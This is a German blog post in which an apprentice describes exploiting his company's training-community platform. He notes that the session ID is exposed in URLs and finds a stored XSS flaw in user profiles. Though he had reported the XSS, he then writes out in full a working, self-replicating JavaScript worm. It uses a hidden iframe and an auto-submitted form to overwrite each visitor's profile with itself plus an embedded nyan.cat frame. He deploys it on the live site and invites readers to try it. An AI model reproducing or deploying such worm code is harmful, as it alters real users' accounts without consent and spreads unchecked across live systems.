Programmieren eines X55-W0RM

Heute wird es um das Thema Würmer gehen. Da ich mich immer noch in der Ausbildung befinde und unsere Firma viele Azubis hat, wird von unserem Unternehmen eine Art Azubi-Community geführt und man erhält auf diesem Board die neusten Informationen und Dokumente, die man für die Ausbildung braucht. Nun ja, was liegt da Nahe und ein Mal zu schauen, ob irgendwelche Fehler und Bugs in diesem Board sind. Wer mehr zu dem Board wissen will, der Hersteller ist ramius.

CommunityZero == ZeroSecurity

Also man muss zuerst einmal sagen, das die Azubis alle einen Status haben, der so gut wie alles sperrt. Man kann lediglich alles lesen und nicht irgendwo einen Kommentar hinterlassen. Nur Azubis die in der Jugend- und Auszubildenenvertretung (JAV) sind, können zum Beispiel News auf der Seite erstellen oder bestimmte Kommentare machen. Leider bin ich nicht in der JAV, sonst würde ich wohl noch viel mehr Unsinn mit der Community anstellen (:D)

Zuerst muss man einmal sagen, dass die URL sich nie verändert. Man bleibt immer auf der Seite "http://subdomain.communityzero.com/azubis". Das liegt daran dass man einfach immer in einem Vollbild iFrame ist. Eigentlich lächerlich, weil es mit JSP andere Methoden gibt um einen solchen Effekt zu erlangen. Aber nicht in einem iFrame! Das sagt eigentlich schon alles aus. Wenn man mit der Maus nun über einen Link geht, sieht man das die URL beispielsweise so aussieht:

"http://subdomain.communityzero.com/community/whatsnew/index.jsp?cid=1337&uid=347F184D44E7C5AF1426FEB04EE67055"

OK. Nach dem man ein wenig mit den Parametern rumspielt, bemerkt man das es sich bei der cid, wahrscheinlich um eine CommunityID handelt und bei der uid um eine UniqueID, wobei so Unique ist die nicht. Als zweites habe ich mir einmal die Cookies von der Seite angeschaut. Wenn man mit Java arbeitet sollte meistens ein Cookie mit einer JSESSIONID angelegt werden. Siehe da, es ist ein Cookie mit folgenden Werten da: JSESSIONID=347F184D44E7C5AF1426FEB04EE67055. Da fällt einem doch sofort ins Auge, dass die SessionID gleich der UID ist. WTF? Wenn mir einer nun so einen Link schickt, brauch ich nur den Cookie anpassen und ich hab die Session geklaut. Da musste ich erst einmal ganz laut Lachen. Vor allem weil diese Sicherheitslücke auf Platz 3 der OWASP Top Ten ist.

Sei es drum! Wie es in einer Community nun einmal üblich ist, hat jeder Benutzer ein Profil und das kann man wenigstens bearbeiten. Ein Punkt ist das Custom Profile wo man wohl so etwas wie eine kleine Nachricht hinterlassen. Also habe ich folgendes eingetragen:

<script>alert("X55")</script>

Es ploppte die Meldung "X55" auf und ich dachte nur dass ich in einem falschen Film bin. Also hab ich alles dokumentiert und die Lücke meinen Ausbildern gemeldet. Die waren sehr dankbar und haben mir noch einen Gutschein geschenkt und sich an den Hersteller gewandt. Kurzzeitig wurden dann die Profile aus der Community entfernt und wurden nach ca. zwei bis drei Monaten wieder integriert. Natürlich habe ich die Lücke wieder überprüft und sie war immer noch da. Was für Ignoranten!!! Ich bin wieder zu meinen Ausbildern gegangen und die haben mir dann erzählt, dass der Hersteller die Lücke nicht beheben will und man bald auf eine andere Platform umsteigen will. Bis heute ist nichts passiert und das ist ca. ein halbes Jahr her. (:D) Schon geil!
Seit ca. einem halben Jahr ist nun folgendes Skript auf meinem Profil:

<iframe width="0" height="0" src="http://nyan.cat">

An dieser Stelle noch einmal „I <3 catz“ und warum sollen nicht die anderen der Community was von der Katze haben. So kam mir die Schnapsidee einen Wurm zu schreiben der Nyan Cat auf die Profile der anderen bringt.

Wurm Entwicklung

Was macht einen Wurm aus?

  • er führt sich automatisch aus (dank JavaScript immer)
  • verbreitet sich selbständig

Gut gut. Mein Plan ist nun folgender: Wenn jemand meine Profilseite besucht, soll im Hintergrund ein Request abgesetzt werden, der das Profil des Besuchers verändert. Natürlich soll der Code, der in meinem Profil steht, in seinem Profil übernommen werden. Soweit der Plan! Nun muss ich erst einmal die Profil-Seite anschauen. Was passiert wenn ich mein Profil ändere? Welche Daten werden bei einem Post-Request übergeben? Mit TamperData einem wirklich genialen Firefox Plug-In kein Problem:

cid="1337"
 profile="<iframe width=\"0\" height=\"0\" src=\"http://nyan.cat\">"
 email_frequency="7"
 email_broadcast="true"
 num_pref_player="6"
 show_profile="true"
 update"Apply Changes" (Button)

Gut. Also baue ich mir schnell das Formular nach und drücke auf meiner Profil-Seite auf den Button.

<form  action="/control/preferences#message" method="POST">
 <input type="hidden" name="cid" value="1337">
 <input type="hidden" name="profile" value="a">
 <input type="hidden" name="email_frequency" value="7">
 <input type="hidden" name="email_broadcast" value="true">
 <input type="hidden" name="num_pref_player" value="6">
 <input type="hidden" name="show_profile" value="true">
 <input type="button" name="update" value="Apply Changes">
 </form>

Nachdem ich auf den Button gedrückt habe, lande ich auf der Seite, wo man das Profil ändern kann und im Custom Profile steht ein "a". Perfekt. Nun muss das ganze nur noch verstecken und automatisch auslösen lassen. JavaScript bietet dafür einen tollen Befehl an, der das Formular automatisch abschickt:

document.formular_name.submit();

Hier nun das Skript mit iFrame, damit man nicht sieht, was abgeht:

<iframe style="display:hidden" height=0 width=0 name=shitframe></iframe>

<form name="shit_community" action="/control/preferences#message" method="POST" target="shitframe">
 <input type="hidden" name="cid" value="1337">
 <input type="hidden" name="profile" value="a">
 <input type="hidden" name="email_frequency" value="7">
 <input type="hidden" name="email_broadcast" value="true">
 <input type="hidden" name="num_pref_player" value="6">
 <input type="hidden" name="show_profile" value="true">
 <input type="hidden" name="update" value="Apply Changes">
 </form>

<script>document.shit_community.submit()</script>

Da das Formular als Target den iFrame hat, wird die Seite für die Änderung des Profiles, im iFrame angezeigt. Nun fehlt nur noch, dass sich der Code selber in das Profil einträgt. JavaScript bietet natürlich auch hier einen super Befehl. "document.getElementById("TAG").innerHTML;" dieser Befehl liest den inneren HTML Code des Tags aus. Somit erweitert sich der Code nun um einen DIV-Tag, weil ich damit dann die Begrenzung des zu übertragenden Codes habe.

<div id=w0rmsh1t>
 <iframe style="display:hidden" height=0 width=0 name=shitframe></iframe>

<form name="shit_community" action="/control/preferences#message" method="POST" target="shitframe">
 <input type="hidden" name="cid" value="1337">
 <input type="hidden" name="profile" value="a">
 <input type="hidden" name="email_frequency" value="7">
 <input type="hidden" name="email_broadcast" value="true">
 <input type="hidden" name="num_pref_player" value="6">
 <input type="hidden" name="show_profile" value="true">
 <input type="hidden" name="update" value="Apply Changes">
 </form>

<script>
 var sh1t = document.getElementById("w0rmsh1t").innerHTML;

document.shit_community.profile.value=
 "<div id=w0rmsh1t>" +
 sh1t +
 "<iframe width=\"0\" height=\"0\" src=\"http://nyan.cat\"></div>";
 document.shit_community.submit();
 </script>

<iframe width="0" height="0" src="http://nyan.cat">
 </div>

Somit ist der Wurm auch schon fertig. Doch nach dem ich alles ein wenig auf meinem Profil ausprobiert hab, bemerkte ich dass der Code im Profil immer mehr wird. Kein Wunder denn der Wert von "profile" ist der Wurm an sich und dann hole ich den Code von w0rmsh1t und trage diesen HTML Code in die Variable "profile". Somit kopiert er sich immer wieder von neuen und irgendwann wird dies zu einem Überlauf im Profil führen. Denn man kann ja nur 4000 Zeichen im Profil sichern. Also schnell den Code noch ein letztes Mal anpassen und dann ist es perfekt:

<div id=w0rmsh1t>
 <iframe style="display:hidden" height=0 width=0 name=shitframe></iframe>

<form name="shit_community" action="/control/preferences#message" method="POST" target="shitframe">
 <input type="hidden" name="cid" value="168580">
 <input type="hidden" name="profile" value="a">
 <input type="hidden" name="email_frequency" value="7">
 <input type="hidden" name="email_broadcast" value="true">
 <input type="hidden" name="num_pref_player" value="6">
 <input type="hidden" name="show_profile" value="true">
 <input type="hidden" name="update" value="Apply Changes">
 </form>

<script>
 var sh1t = document.getElementById("w0rmsh1t").innerHTML;

var n3wsh1t = sh1t.replace(/name=\"profile\".*\"><input type=\"hidden\" name=\"email_frequency\"/,
 "name=\"profile\" value=\"a\"><input type=\"hidden\" name=\"email_frequency\"");

document.shit_community.profile.value=
 "<div id=w0rmsh1t>" +
 n3wsh1t +
 "<iframe width=\"0\" height=\"0\" src=\"http://nyan.cat\"></div>";
 document.shit_community.submit();
 </script>

<iframe width="0" height="0" src="http://nyan.cat">
 </div>

Nun JavaScript ist wirklich mächtiger als ich dachte. variable.replace(RegEx, "Ersetzung") ist schon echt ein genialer Befehl. Ich ersteze einfach die Profile Variable mit "a" und schon ist der Code wie beim ersten Mal. Achja man sollte noch sagen, das man den Code am besten in einer einzelnen Zeile unterbringt und die Umbrüche entfernt. Für jeden Umbruch wird ein </br> eingefügt. Im Worst-Case wird der Code durch die zusätzlichen Elemente nicht ausgeführt.

Sobald nun jemand meine Profilseite besucht wird in einem Frame sein Profil angepasst (W0RM + Nyan Cat) und dazu kommt noch das im Hintergrund Nyan-Cat rum nyant :D.
Mission X55-W0RMSH1T solved. Mal schauen, wann alle Profile Nyan Cat haben (^.^)

So viel zur Entwicklung eines X55-W0RM und viel Spaß beim ausprobieren.
Greetz TheVamp

2 thoughts on “Programmieren eines X55-W0RM”

  1. Joa, netter Spaß.

    Kleines lob meinerseits. Die Seite ist gut geworden. Schönes Theme. Und gutes Frontend :)

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.